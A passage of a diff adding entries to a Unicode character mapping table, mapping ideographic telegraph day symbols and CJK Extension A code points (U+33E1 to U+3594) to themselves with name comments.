+ ["\u33E1", "\u33E1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO */
+ ["\u33E2", "\u33E2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE */
+ ["\u33E3", "\u33E3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR */
+ ["\u33E4", "\u33E4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE */
+ ["\u33E5", "\u33E5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX */
+ ["\u33E6", "\u33E6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN */
+ ["\u33E7", "\u33E7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT */
+ ["\u33E8", "\u33E8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE */
+ ["\u33E9", "\u33E9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN */
+ ["\u33EA", "\u33EA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN */
+ ["\u33EB", "\u33EB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE */
+ ["\u33EC", "\u33EC"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN */
+ ["\u33ED", "\u33ED"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN */
+ ["\u33EE", "\u33EE"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN */
+ ["\u33EF", "\u33EF"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN */
+ ["\u33F0", "\u33F0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN */
+ ["\u33F1", "\u33F1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN */
+ ["\u33F2", "\u33F2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN */
+ ["\u33F3", "\u33F3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY */
+ ["\u33F4", "\u33F4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE */
+ ["\u33F5", "\u33F5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO */
+ ["\u33F6", "\u33F6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE */
+ ["\u33F7", "\u33F7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR */
+ ["\u33F8", "\u33F8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE */
+ ["\u33F9", "\u33F9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX */
+ ["\u33FA", "\u33FA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN */
+ ["\u33FB", "\u33FB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT */
+ ["\u33FC", "\u33FC"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE */
+ ["\u33FD", "\u33FD"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY */
+ ["\u33FE", "\u33FE"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE */
+ ["\u33FF", "\u33FF"], /* SQUARE GAL */
+ ["\u3400", "\u3400"], /* CJK Ideograph Extension A */
+ ["\u3401", "\u3401"], /* CJK Ideograph Extension A */
+ ["\u3402", "\u3402"], /* CJK Ideograph Extension A */
+ ["\u3403", "\u3403"], /* CJK Ideograph Extension A */
+ ["\u3404", "\u3404"], /* CJK Ideograph Extension A */
+ ["\u3405", "\u3405"], /* CJK Ideograph Extension A */
+ ["\u3406", "\u3406"], /* CJK Ideograph Extension A */
+ ["\u3407", "\u3407"], /* CJK Ideograph Extension A */
+ ["\u3408", "\u3408"], /* CJK Ideograph Extension A */
+ ["\u3409", "\u3409"], /* CJK Ideograph Extension A */
+ ["\u340A", "\u340A"], /* CJK Ideograph Extension A */
+ ["\u340B", "\u340B"], /* CJK Ideograph Extension A */
+ ["\u340C", "\u340C"], /* CJK Ideograph Extension A */
+ ["\u340D", "\u340D"], /* CJK Ideograph Extension A */
+ ["\u340E", "\u340E"], /* CJK Ideograph Extension A */
+ ["\u340F", "\u340F"], /* CJK Ideograph Extension A */
+ ["\u3410", "\u3410"], /* CJK Ideograph Extension A */
+ ["\u3411", "\u3411"], /* CJK Ideograph Extension A */
+ ["\u3412", "\u3412"], /* CJK Ideograph Extension A */
+ ["\u3413", "\u3413"], /* CJK Ideograph Extension A */
+ ["\u3414", "\u3414"], /* CJK Ideograph Extension A */
+ ["\u3415", "\u3415"], /* CJK Ideograph Extension A */
+ ["\u3416", "\u3416"], /* CJK Ideograph Extension A */
+ ["\u3417", "\u3417"], /* CJK Ideograph Extension A */
+ ["\u3418", "\u3418"], /* CJK Ideograph Extension A */
+ ["\u3419", "\u3419"], /* CJK Ideograph Extension A */
+ ["\u341A", "\u341A"], /* CJK Ideograph Extension A */
+ ["\u341B", "\u341B"], /* CJK Ideograph Extension A */
+ ["\u341C", "\u341C"], /* CJK Ideograph Extension A */
+ ["\u341D", "\u341D"], /* CJK Ideograph Extension A */
+ ["\u341E", "\u341E"], /* CJK Ideograph Extension A */
+ ["\u341F", "\u341F"], /* CJK Ideograph Extension A */
+ ["\u3420", "\u3420"], /* CJK Ideograph Extension A */
+ ["\u3421", "\u3421"], /* CJK Ideograph Extension A */
+ ["\u3422", "\u3422"], /* CJK Ideograph Extension A */
+ ["\u3423", "\u3423"], /* CJK Ideograph Extension A */
+ ["\u3424", "\u3424"], /* CJK Ideograph Extension A */
+ ["\u3425", "\u3425"], /* CJK Ideograph Extension A */
+ ["\u3426", "\u3426"], /* CJK Ideograph Extension A */
+ ["\u3427", "\u3427"], /* CJK Ideograph Extension A */
+ ["\u3428", "\u3428"], /* CJK Ideograph Extension A */
+ ["\u3429", "\u3429"], /* CJK Ideograph Extension A */
+ ["\u342A", "\u342A"], /* CJK Ideograph Extension A */
+ ["\u342B", "\u342B"], /* CJK Ideograph Extension A */
+ ["\u342C", "\u342C"], /* CJK Ideograph Extension A */
+ ["\u342D", "\u342D"], /* CJK Ideograph Extension A */
+ ["\u342E", "\u342E"], /* CJK Ideograph Extension A */
+ ["\u342F", "\u342F"], /* CJK Ideograph Extension A */
+ ["\u3430", "\u3430"], /* CJK Ideograph Extension A */
+ ["\u3431", "\u3431"], /* CJK Ideograph Extension A */
+ ["\u3432", "\u3432"], /* CJK Ideograph Extension A */
+ ["\u3433", "\u3433"], /* CJK Ideograph Extension A */
+ ["\u3434", "\u3434"], /* CJK Ideograph Extension A */
+ ["\u3435", "\u3435"], /* CJK Ideograph Extension A */
+ ["\u3436", "\u3436"], /* CJK Ideograph Extension A */
+ ["\u3437", "\u3437"], /* CJK Ideograph Extension A */
+ ["\u3438", "\u3438"], /* CJK Ideograph Extension A */
+ ["\u3439", "\u3439"], /* CJK Ideograph Extension A */
+ ["\u343A", "\u343A"], /* CJK Ideograph Extension A */
+ ["\u343B", "\u343B"], /* CJK Ideograph Extension A */
+ ["\u343C", "\u343C"], /* CJK Ideograph Extension A */
+ ["\u343D", "\u343D"], /* CJK Ideograph Extension A */
+ ["\u343E", "\u343E"], /* CJK Ideograph Extension A */
+ ["\u343F", "\u343F"], /* CJK Ideograph Extension A */
+ ["\u3440", "\u3440"], /* CJK Ideograph Extension A */
+ ["\u3441", "\u3441"], /* CJK Ideograph Extension A */
+ ["\u3442", "\u3442"], /* CJK Ideograph Extension A */
+ ["\u3443", "\u3443"], /* CJK Ideograph Extension A */
+ ["\u3444", "\u3444"], /* CJK Ideograph Extension A */
+ ["\u3445", "\u3445"], /* CJK Ideograph Extension A */
+ ["\u3446", "\u3446"], /* CJK Ideograph Extension A */
+ ["\u3447", "\u3447"], /* CJK Ideograph Extension A */
+ ["\u3448", "\u3448"], /* CJK Ideograph Extension A */
+ ["\u3449", "\u3449"], /* CJK Ideograph Extension A */
+ ["\u344A", "\u344A"], /* CJK Ideograph Extension A */
+ ["\u344B", "\u344B"], /* CJK Ideograph Extension A */
+ ["\u344C", "\u344C"], /* CJK Ideograph Extension A */
+ ["\u344D", "\u344D"], /* CJK Ideograph Extension A */
+ ["\u344E", "\u344E"], /* CJK Ideograph Extension A */
+ ["\u344F", "\u344F"], /* CJK Ideograph Extension A */
+ ["\u3450", "\u3450"], /* CJK Ideograph Extension A */
+ ["\u3451", "\u3451"], /* CJK Ideograph Extension A */
+ ["\u3452", "\u3452"], /* CJK Ideograph Extension A */
+ ["\u3453", "\u3453"], /* CJK Ideograph Extension A */
+ ["\u3454", "\u3454"], /* CJK Ideograph Extension A */
+ ["\u3455", "\u3455"], /* CJK Ideograph Extension A */
+ ["\u3456", "\u3456"], /* CJK Ideograph Extension A */
+ ["\u3457", "\u3457"], /* CJK Ideograph Extension A */
+ ["\u3458", "\u3458"], /* CJK Ideograph Extension A */
+ ["\u3459", "\u3459"], /* CJK Ideograph Extension A */
+ ["\u345A", "\u345A"], /* CJK Ideograph Extension A */
+ ["\u345B", "\u345B"], /* CJK Ideograph Extension A */
+ ["\u345C", "\u345C"], /* CJK Ideograph Extension A */
+ ["\u345D", "\u345D"], /* CJK Ideograph Extension A */
+ ["\u345E", "\u345E"], /* CJK Ideograph Extension A */
+ ["\u345F", "\u345F"], /* CJK Ideograph Extension A */
+ ["\u3460", "\u3460"], /* CJK Ideograph Extension A */
+ ["\u3461", "\u3461"], /* CJK Ideograph Extension A */
+ ["\u3462", "\u3462"], /* CJK Ideograph Extension A */
+ ["\u3463", "\u3463"], /* CJK Ideograph Extension A */
+ ["\u3464", "\u3464"], /* CJK Ideograph Extension A */
+ ["\u3465", "\u3465"], /* CJK Ideograph Extension A */
+ ["\u3466", "\u3466"], /* CJK Ideograph Extension A */
+ ["\u3467", "\u3467"], /* CJK Ideograph Extension A */
+ ["\u3468", "\u3468"], /* CJK Ideograph Extension A */
+ ["\u3469", "\u3469"], /* CJK Ideograph Extension A */
+ ["\u346A", "\u346A"], /* CJK Ideograph Extension A */
+ ["\u346B", "\u346B"], /* CJK Ideograph Extension A */
+ ["\u346C", "\u346C"], /* CJK Ideograph Extension A */
+ ["\u346D", "\u346D"], /* CJK Ideograph Extension A */
+ ["\u346E", "\u346E"], /* CJK Ideograph Extension A */
+ ["\u346F", "\u346F"], /* CJK Ideograph Extension A */
+ ["\u3470", "\u3470"], /* CJK Ideograph Extension A */
+ ["\u3471", "\u3471"], /* CJK Ideograph Extension A */
+ ["\u3472", "\u3472"], /* CJK Ideograph Extension A */
+ ["\u3473", "\u3473"], /* CJK Ideograph Extension A */
+ ["\u3474", "\u3474"], /* CJK Ideograph Extension A */
+ ["\u3475", "\u3475"], /* CJK Ideograph Extension A */
+ ["\u3476", "\u3476"], /* CJK Ideograph Extension A */
+ ["\u3477", "\u3477"], /* CJK Ideograph Extension A */
+ ["\u3478", "\u3478"], /* CJK Ideograph Extension A */
+ ["\u3479", "\u3479"], /* CJK Ideograph Extension A */
+ ["\u347A", "\u347A"], /* CJK Ideograph Extension A */
+ ["\u347B", "\u347B"], /* CJK Ideograph Extension A */
+ ["\u347C", "\u347C"], /* CJK Ideograph Extension A */
+ ["\u347D", "\u347D"], /* CJK Ideograph Extension A */
+ ["\u347E", "\u347E"], /* CJK Ideograph Extension A */
+ ["\u347F", "\u347F"], /* CJK Ideograph Extension A */
+ ["\u3480", "\u3480"], /* CJK Ideograph Extension A */
+ ["\u3481", "\u3481"], /* CJK Ideograph Extension A */
+ ["\u3482", "\u3482"], /* CJK Ideograph Extension A */
+ ["\u3483", "\u3483"], /* CJK Ideograph Extension A */
+ ["\u3484", "\u3484"], /* CJK Ideograph Extension A */
+ ["\u3485", "\u3485"], /* CJK Ideograph Extension A */
+ ["\u3486", "\u3486"], /* CJK Ideograph Extension A */
+ ["\u3487", "\u3487"], /* CJK Ideograph Extension A */
+ ["\u3488", "\u3488"], /* CJK Ideograph Extension A */
+ ["\u3489", "\u3489"], /* CJK Ideograph Extension A */
+ ["\u348A", "\u348A"], /* CJK Ideograph Extension A */
+ ["\u348B", "\u348B"], /* CJK Ideograph Extension A */
+ ["\u348C", "\u348C"], /* CJK Ideograph Extension A */
+ ["\u348D", "\u348D"], /* CJK Ideograph Extension A */
+ ["\u348E", "\u348E"], /* CJK Ideograph Extension A */
+ ["\u348F", "\u348F"], /* CJK Ideograph Extension A */
+ ["\u3490", "\u3490"], /* CJK Ideograph Extension A */
+ ["\u3491", "\u3491"], /* CJK Ideograph Extension A */
+ ["\u3492", "\u3492"], /* CJK Ideograph Extension A */
+ ["\u3493", "\u3493"], /* CJK Ideograph Extension A */
+ ["\u3494", "\u3494"], /* CJK Ideograph Extension A */
+ ["\u3495", "\u3495"], /* CJK Ideograph Extension A */
+ ["\u3496", "\u3496"], /* CJK Ideograph Extension A */
+ ["\u3497", "\u3497"], /* CJK Ideograph Extension A */
+ ["\u3498", "\u3498"], /* CJK Ideograph Extension A */
+ ["\u3499", "\u3499"], /* CJK Ideograph Extension A */
+ ["\u349A", "\u349A"], /* CJK Ideograph Extension A */
+ ["\u349B", "\u349B"], /* CJK Ideograph Extension A */
+ ["\u349C", "\u349C"], /* CJK Ideograph Extension A */
+ ["\u349D", "\u349D"], /* CJK Ideograph Extension A */
+ ["\u349E", "\u349E"], /* CJK Ideograph Extension A */
+ ["\u349F", "\u349F"], /* CJK Ideograph Extension A */
+ ["\u34A0", "\u34A0"], /* CJK Ideograph Extension A */
+ ["\u34A1", "\u34A1"], /* CJK Ideograph Extension A */
+ ["\u34A2", "\u34A2"], /* CJK Ideograph Extension A */
+ ["\u34A3", "\u34A3"], /* CJK Ideograph Extension A */
+ ["\u34A4", "\u34A4"], /* CJK Ideograph Extension A */
+ ["\u34A5", "\u34A5"], /* CJK Ideograph Extension A */
+ ["\u34A6", "\u34A6"], /* CJK Ideograph Extension A */
+ ["\u34A7", "\u34A7"], /* CJK Ideograph Extension A */
+ ["\u34A8", "\u34A8"], /* CJK Ideograph Extension A */
+ ["\u34A9", "\u34A9"], /* CJK Ideograph Extension A */
+ ["\u34AA", "\u34AA"], /* CJK Ideograph Extension A */
+ ["\u34AB", "\u34AB"], /* CJK Ideograph Extension A */
+ ["\u34AC", "\u34AC"], /* CJK Ideograph Extension A */
+ ["\u34AD", "\u34AD"], /* CJK Ideograph Extension A */
+ ["\u34AE", "\u34AE"], /* CJK Ideograph Extension A */
+ ["\u34AF", "\u34AF"], /* CJK Ideograph Extension A */
+ ["\u34B0", "\u34B0"], /* CJK Ideograph Extension A */
+ ["\u34B1", "\u34B1"], /* CJK Ideograph Extension A */
+ ["\u34B2", "\u34B2"], /* CJK Ideograph Extension A */
+ ["\u34B3", "\u34B3"], /* CJK Ideograph Extension A */
+ ["\u34B4", "\u34B4"], /* CJK Ideograph Extension A */
+ ["\u34B5", "\u34B5"], /* CJK Ideograph Extension A */
+ ["\u34B6", "\u34B6"], /* CJK Ideograph Extension A */
+ ["\u34B7", "\u34B7"], /* CJK Ideograph Extension A */
+ ["\u34B8", "\u34B8"], /* CJK Ideograph Extension A */
+ ["\u34B9", "\u34B9"], /* CJK Ideograph Extension A */
+ ["\u34BA", "\u34BA"], /* CJK Ideograph Extension A */
+ ["\u34BB", "\u34BB"], /* CJK Ideograph Extension A */
+ ["\u34BC", "\u34BC"], /* CJK Ideograph Extension A */
+ ["\u34BD", "\u34BD"], /* CJK Ideograph Extension A */
+ ["\u34BE", "\u34BE"], /* CJK Ideograph Extension A */
+ ["\u34BF", "\u34BF"], /* CJK Ideograph Extension A */
+ ["\u34C0", "\u34C0"], /* CJK Ideograph Extension A */
+ ["\u34C1", "\u34C1"], /* CJK Ideograph Extension A */
+ ["\u34C2", "\u34C2"], /* CJK Ideograph Extension A */
+ ["\u34C3", "\u34C3"], /* CJK Ideograph Extension A */
+ ["\u34C4", "\u34C4"], /* CJK Ideograph Extension A */
+ ["\u34C5", "\u34C5"], /* CJK Ideograph Extension A */
+ ["\u34C6", "\u34C6"], /* CJK Ideograph Extension A */
+ ["\u34C7", "\u34C7"], /* CJK Ideograph Extension A */
+ ["\u34C8", "\u34C8"], /* CJK Ideograph Extension A */
+ ["\u34C9", "\u34C9"], /* CJK Ideograph Extension A */
+ ["\u34CA", "\u34CA"], /* CJK Ideograph Extension A */
+ ["\u34CB", "\u34CB"], /* CJK Ideograph Extension A */
+ ["\u34CC", "\u34CC"], /* CJK Ideograph Extension A */
+ ["\u34CD", "\u34CD"], /* CJK Ideograph Extension A */
+ ["\u34CE", "\u34CE"], /* CJK Ideograph Extension A */
+ ["\u34CF", "\u34CF"], /* CJK Ideograph Extension A */
+ ["\u34D0", "\u34D0"], /* CJK Ideograph Extension A */
+ ["\u34D1", "\u34D1"], /* CJK Ideograph Extension A */
+ ["\u34D2", "\u34D2"], /* CJK Ideograph Extension A */
+ ["\u34D3", "\u34D3"], /* CJK Ideograph Extension A */
+ ["\u34D4", "\u34D4"], /* CJK Ideograph Extension A */
+ ["\u34D5", "\u34D5"], /* CJK Ideograph Extension A */
+ ["\u34D6", "\u34D6"], /* CJK Ideograph Extension A */
+ ["\u34D7", "\u34D7"], /* CJK Ideograph Extension A */
+ ["\u34D8", "\u34D8"], /* CJK Ideograph Extension A */
+ ["\u34D9", "\u34D9"], /* CJK Ideograph Extension A */
+ ["\u34DA", "\u34DA"], /* CJK Ideograph Extension A */
+ ["\u34DB", "\u34DB"], /* CJK Ideograph Extension A */
+ ["\u34DC", "\u34DC"], /* CJK Ideograph Extension A */
+ ["\u34DD", "\u34DD"], /* CJK Ideograph Extension A */
+ ["\u34DE", "\u34DE"], /* CJK Ideograph Extension A */
+ ["\u34DF", "\u34DF"], /* CJK Ideograph Extension A */
+ ["\u34E0", "\u34E0"], /* CJK Ideograph Extension A */
+ ["\u34E1", "\u34E1"], /* CJK Ideograph Extension A */
+ ["\u34E2", "\u34E2"], /* CJK Ideograph Extension A */
+ ["\u34E3", "\u34E3"], /* CJK Ideograph Extension A */
+ ["\u34E4", "\u34E4"], /* CJK Ideograph Extension A */
+ ["\u34E5", "\u34E5"], /* CJK Ideograph Extension A */
+ ["\u34E6", "\u34E6"], /* CJK Ideograph Extension A */
+ ["\u34E7", "\u34E7"], /* CJK Ideograph Extension A */
+ ["\u34E8", "\u34E8"], /* CJK Ideograph Extension A */
+ ["\u34E9", "\u34E9"], /* CJK Ideograph Extension A */
+ ["\u34EA", "\u34EA"], /* CJK Ideograph Extension A */
+ ["\u34EB", "\u34EB"], /* CJK Ideograph Extension A */
+ ["\u34EC", "\u34EC"], /* CJK Ideograph Extension A */
+ ["\u34ED", "\u34ED"], /* CJK Ideograph Extension A */
+ ["\u34EE", "\u34EE"], /* CJK Ideograph Extension A */
+ ["\u34EF", "\u34EF"], /* CJK Ideograph Extension A */
+ ["\u34F0", "\u34F0"], /* CJK Ideograph Extension A */
+ ["\u34F1", "\u34F1"], /* CJK Ideograph Extension A */
+ ["\u34F2", "\u34F2"], /* CJK Ideograph Extension A */
+ ["\u34F3", "\u34F3"], /* CJK Ideograph Extension A */
+ ["\u34F4", "\u34F4"], /* CJK Ideograph Extension A */
+ ["\u34F5", "\u34F5"], /* CJK Ideograph Extension A */
+ ["\u34F6", "\u34F6"], /* CJK Ideograph Extension A */
+ ["\u34F7", "\u34F7"], /* CJK Ideograph Extension A */
+ ["\u34F8", "\u34F8"], /* CJK Ideograph Extension A */
+ ["\u34F9", "\u34F9"], /* CJK Ideograph Extension A */
+ ["\u34FA", "\u34FA"], /* CJK Ideograph Extension A */
+ ["\u34FB", "\u34FB"], /* CJK Ideograph Extension A */
+ ["\u34FC", "\u34FC"], /* CJK Ideograph Extension A */
+ ["\u34FD", "\u34FD"], /* CJK Ideograph Extension A */
+ ["\u34FE", "\u34FE"], /* CJK Ideograph Extension A */
+ ["\u34FF", "\u34FF"], /* CJK Ideograph Extension A */
+ ["\u3500", "\u3500"], /* CJK Ideograph Extension A */
+ ["\u3501", "\u3501"], /* CJK Ideograph Extension A */
+ ["\u3502", "\u3502"], /* CJK Ideograph Extension A */
+ ["\u3503", "\u3503"], /* CJK Ideograph Extension A */
+ ["\u3504", "\u3504"], /* CJK Ideograph Extension A */
+ ["\u3505", "\u3505"], /* CJK Ideograph Extension A */
+ ["\u3506", "\u3506"], /* CJK Ideograph Extension A */
+ ["\u3507", "\u3507"], /* CJK Ideograph Extension A */
+ ["\u3508", "\u3508"], /* CJK Ideograph Extension A */
+ ["\u3509", "\u3509"], /* CJK Ideograph Extension A */
+ ["\u350A", "\u350A"], /* CJK Ideograph Extension A */
+ ["\u350B", "\u350B"], /* CJK Ideograph Extension A */
+ ["\u350C", "\u350C"], /* CJK Ideograph Extension A */
+ ["\u350D", "\u350D"], /* CJK Ideograph Extension A */
+ ["\u350E", "\u350E"], /* CJK Ideograph Extension A */
+ ["\u350F", "\u350F"], /* CJK Ideograph Extension A */
+ ["\u3510", "\u3510"], /* CJK Ideograph Extension A */
+ ["\u3511", "\u3511"], /* CJK Ideograph Extension A */
+ ["\u3512", "\u3512"], /* CJK Ideograph Extension A */
+ ["\u3513", "\u3513"], /* CJK Ideograph Extension A */
+ ["\u3514", "\u3514"], /* CJK Ideograph Extension A */
+ ["\u3515", "\u3515"], /* CJK Ideograph Extension A */
+ ["\u3516", "\u3516"], /* CJK Ideograph Extension A */
+ ["\u3517", "\u3517"], /* CJK Ideograph Extension A */
+ ["\u3518", "\u3518"], /* CJK Ideograph Extension A */
+ ["\u3519", "\u3519"], /* CJK Ideograph Extension A */
+ ["\u351A", "\u351A"], /* CJK Ideograph Extension A */
+ ["\u351B", "\u351B"], /* CJK Ideograph Extension A */
+ ["\u351C", "\u351C"], /* CJK Ideograph Extension A */
+ ["\u351D", "\u351D"], /* CJK Ideograph Extension A */
+ ["\u351E", "\u351E"], /* CJK Ideograph Extension A */
+ ["\u351F", "\u351F"], /* CJK Ideograph Extension A */
+ ["\u3520", "\u3520"], /* CJK Ideograph Extension A */
+ ["\u3521", "\u3521"], /* CJK Ideograph Extension A */
+ ["\u3522", "\u3522"], /* CJK Ideograph Extension A */
+ ["\u3523", "\u3523"], /* CJK Ideograph Extension A */
+ ["\u3524", "\u3524"], /* CJK Ideograph Extension A */
+ ["\u3525", "\u3525"], /* CJK Ideograph Extension A */
+ ["\u3526", "\u3526"], /* CJK Ideograph Extension A */
+ ["\u3527", "\u3527"], /* CJK Ideograph Extension A */
+ ["\u3528", "\u3528"], /* CJK Ideograph Extension A */
+ ["\u3529", "\u3529"], /* CJK Ideograph Extension A */
+ ["\u352A", "\u352A"], /* CJK Ideograph Extension A */
+ ["\u352B", "\u352B"], /* CJK Ideograph Extension A */
+ ["\u352C", "\u352C"], /* CJK Ideograph Extension A */
+ ["\u352D", "\u352D"], /* CJK Ideograph Extension A */
+ ["\u352E", "\u352E"], /* CJK Ideograph Extension A */
+ ["\u352F", "\u352F"], /* CJK Ideograph Extension A */
+ ["\u3530", "\u3530"], /* CJK Ideograph Extension A */
+ ["\u3531", "\u3531"], /* CJK Ideograph Extension A */
+ ["\u3532", "\u3532"], /* CJK Ideograph Extension A */
+ ["\u3533", "\u3533"], /* CJK Ideograph Extension A */
+ ["\u3534", "\u3534"], /* CJK Ideograph Extension A */
+ ["\u3535", "\u3535"], /* CJK Ideograph Extension A */
+ ["\u3536", "\u3536"], /* CJK Ideograph Extension A */
+ ["\u3537", "\u3537"], /* CJK Ideograph Extension A */
+ ["\u3538", "\u3538"], /* CJK Ideograph Extension A */
+ ["\u3539", "\u3539"], /* CJK Ideograph Extension A */
+ ["\u353A", "\u353A"], /* CJK Ideograph Extension A */
+ ["\u353B", "\u353B"], /* CJK Ideograph Extension A */
+ ["\u353C", "\u353C"], /* CJK Ideograph Extension A */
+ ["\u353D", "\u353D"], /* CJK Ideograph Extension A */
+ ["\u353E", "\u353E"], /* CJK Ideograph Extension A */
+ ["\u353F", "\u353F"], /* CJK Ideograph Extension A */
+ ["\u3540", "\u3540"], /* CJK Ideograph Extension A */
+ ["\u3541", "\u3541"], /* CJK Ideograph Extension A */
+ ["\u3542", "\u3542"], /* CJK Ideograph Extension A */
+ ["\u3543", "\u3543"], /* CJK Ideograph Extension A */
+ ["\u3544", "\u3544"], /* CJK Ideograph Extension A */
+ ["\u3545", "\u3545"], /* CJK Ideograph Extension A */
+ ["\u3546", "\u3546"], /* CJK Ideograph Extension A */
+ ["\u3547", "\u3547"], /* CJK Ideograph Extension A */
+ ["\u3548", "\u3548"], /* CJK Ideograph Extension A */
+ ["\u3549", "\u3549"], /* CJK Ideograph Extension A */
+ ["\u354A", "\u354A"], /* CJK Ideograph Extension A */
+ ["\u354B", "\u354B"], /* CJK Ideograph Extension A */
+ ["\u354C", "\u354C"], /* CJK Ideograph Extension A */
+ ["\u354D", "\u354D"], /* CJK Ideograph Extension A */
+ ["\u354E", "\u354E"], /* CJK Ideograph Extension A */
+ ["\u354F", "\u354F"], /* CJK Ideograph Extension A */
+ ["\u3550", "\u3550"], /* CJK Ideograph Extension A */
+ ["\u3551", "\u3551"], /* CJK Ideograph Extension A */
+ ["\u3552", "\u3552"], /* CJK Ideograph Extension A */
+ ["\u3553", "\u3553"], /* CJK Ideograph Extension A */
+ ["\u3554", "\u3554"], /* CJK Ideograph Extension A */
+ ["\u3555", "\u3555"], /* CJK Ideograph Extension A */
+ ["\u3556", "\u3556"], /* CJK Ideograph Extension A */
+ ["\u3557", "\u3557"], /* CJK Ideograph Extension A */
+ ["\u3558", "\u3558"], /* CJK Ideograph Extension A */
+ ["\u3559", "\u3559"], /* CJK Ideograph Extension A */
+ ["\u355A", "\u355A"], /* CJK Ideograph Extension A */
+ ["\u355B", "\u355B"], /* CJK Ideograph Extension A */
+ ["\u355C", "\u355C"], /* CJK Ideograph Extension A */
+ ["\u355D", "\u355D"], /* CJK Ideograph Extension A */
+ ["\u355E", "\u355E"], /* CJK Ideograph Extension A */
+ ["\u355F", "\u355F"], /* CJK Ideograph Extension A */
+ ["\u3560", "\u3560"], /* CJK Ideograph Extension A */
+ ["\u3561", "\u3561"], /* CJK Ideograph Extension A */
+ ["\u3562", "\u3562"], /* CJK Ideograph Extension A */
+ ["\u3563", "\u3563"], /* CJK Ideograph Extension A */
+ ["\u3564", "\u3564"], /* CJK Ideograph Extension A */
+ ["\u3565", "\u3565"], /* CJK Ideograph Extension A */
+ ["\u3566", "\u3566"], /* CJK Ideograph Extension A */
+ ["\u3567", "\u3567"], /* CJK Ideograph Extension A */
+ ["\u3568", "\u3568"], /* CJK Ideograph Extension A */
+ ["\u3569", "\u3569"], /* CJK Ideograph Extension A */
+ ["\u356A", "\u356A"], /* CJK Ideograph Extension A */
+ ["\u356B", "\u356B"], /* CJK Ideograph Extension A */
+ ["\u356C", "\u356C"], /* CJK Ideograph Extension A */
+ ["\u356D", "\u356D"], /* CJK Ideograph Extension A */
+ ["\u356E", "\u356E"], /* CJK Ideograph Extension A */
+ ["\u356F", "\u356F"], /* CJK Ideograph Extension A */
+ ["\u3570", "\u3570"], /* CJK Ideograph Extension A */
+ ["\u3571", "\u3571"], /* CJK Ideograph Extension A */
+ ["\u3572", "\u3572"], /* CJK Ideograph Extension A */
+ ["\u3573", "\u3573"], /* CJK Ideograph Extension A */
+ ["\u3574", "\u3574"], /* CJK Ideograph Extension A */
+ ["\u3575", "\u3575"], /* CJK Ideograph Extension A */
+ ["\u3576", "\u3576"], /* CJK Ideograph Extension A */
+ ["\u3577", "\u3577"], /* CJK Ideograph Extension A */
+ ["\u3578", "\u3578"], /* CJK Ideograph Extension A */
+ ["\u3579", "\u3579"], /* CJK Ideograph Extension A */
+ ["\u357A", "\u357A"], /* CJK Ideograph Extension A */
+ ["\u357B", "\u357B"], /* CJK Ideograph Extension A */
+ ["\u357C", "\u357C"], /* CJK Ideograph Extension A */
+ ["\u357D", "\u357D"], /* CJK Ideograph Extension A */
+ ["\u357E", "\u357E"], /* CJK Ideograph Extension A */
+ ["\u357F", "\u357F"], /* CJK Ideograph Extension A */
+ ["\u3580", "\u3580"], /* CJK Ideograph Extension A */
+ ["\u3581", "\u3581"], /* CJK Ideograph Extension A */
+ ["\u3582", "\u3582"], /* CJK Ideograph Extension A */
+ ["\u3583", "\u3583"], /* CJK Ideograph Extension A */
+ ["\u3584", "\u3584"], /* CJK Ideograph Extension A */
+ ["\u3585", "\u3585"], /* CJK Ideograph Extension A */
+ ["\u3586", "\u3586"], /* CJK Ideograph Extension A */
+ ["\u3587", "\u3587"], /* CJK Ideograph Extension A */
+ ["\u3588", "\u3588"], /* CJK Ideograph Extension A */
+ ["\u3589", "\u3589"], /* CJK Ideograph Extension A */
+ ["\u358A", "\u358A"], /* CJK Ideograph Extension A */
+ ["\u358B", "\u358B"], /* CJK Ideograph Extension A */
+ ["\u358C", "\u358C"], /* CJK Ideograph Extension A */
+ ["\u358D", "\u358D"], /* CJK Ideograph Extension A */
+ ["\u358E", "\u358E"], /* CJK Ideograph Extension A */
+ ["\u358F", "\u358F"], /* CJK Ideograph Extension A */
+ ["\u3590", "\u3590"], /* CJK Ideograph Extension A */
+ ["\u3591", "\u3591"], /* CJK Ideograph Extension A */
+ ["\u3592", "\u3592"], /* CJK Ideograph Extension A */
+ ["\u3593", "\u3593"], /* CJK Ideograph Extension A */
+ ["\u3594", "\u3594"], /* CJK Ideograph Extension A */
